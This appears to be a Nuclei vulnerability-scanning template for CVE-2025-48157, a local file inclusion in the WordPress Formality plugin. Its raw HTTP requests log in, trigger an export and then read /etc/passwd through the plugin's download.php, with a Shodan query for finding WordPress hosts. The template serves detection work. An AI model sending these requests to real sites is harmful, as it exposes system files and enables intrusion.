id: CVE-2025-48157

info:
  name: WordPress Formality Plugin <= 1.5.9 - Local File Inclusion
  author: pussycat0x
  severity: critical
  description: |
    Michele Giorgi Formality <= 1.5.9 contains a file inclusion vulnerability caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires crafted input.
  impact:
    Attackers can include local files, potentially leading to code execution or information disclosure.
  remediation:
    Update to the latest version beyond 1.5.9.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/formality/formality-159-unauthenticated-local-file-inclusion
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3277800%40formality&old=3248498%40formality
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48157
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-48157
    epss-score: 0.02042
    epss-percentile: 0.78642
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"WordPress"
  tags: cve,cve2025,wordpress,wp,wp-plugin,formality,lfi,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?action=export_formality_result&form_id=1 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/uploads/formality/storage/download.php?wproot=/var/www/html&file=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type_3, 'text/plain')"
          - "regex('root:.*:0:0:', body_3)"
          - "status_code_3 == 200"
        condition: and
# digest: 4a0a004730450221008e4a45ab4024bc52371a5c43dcb693fcd5f946272fd1fc856c288c476110f2ce02201d40ab418040d9acdc194ca7087b102d8193b5154b206a0efad44235ec4aee2d:922c64590222798bb761d5b6d8e72950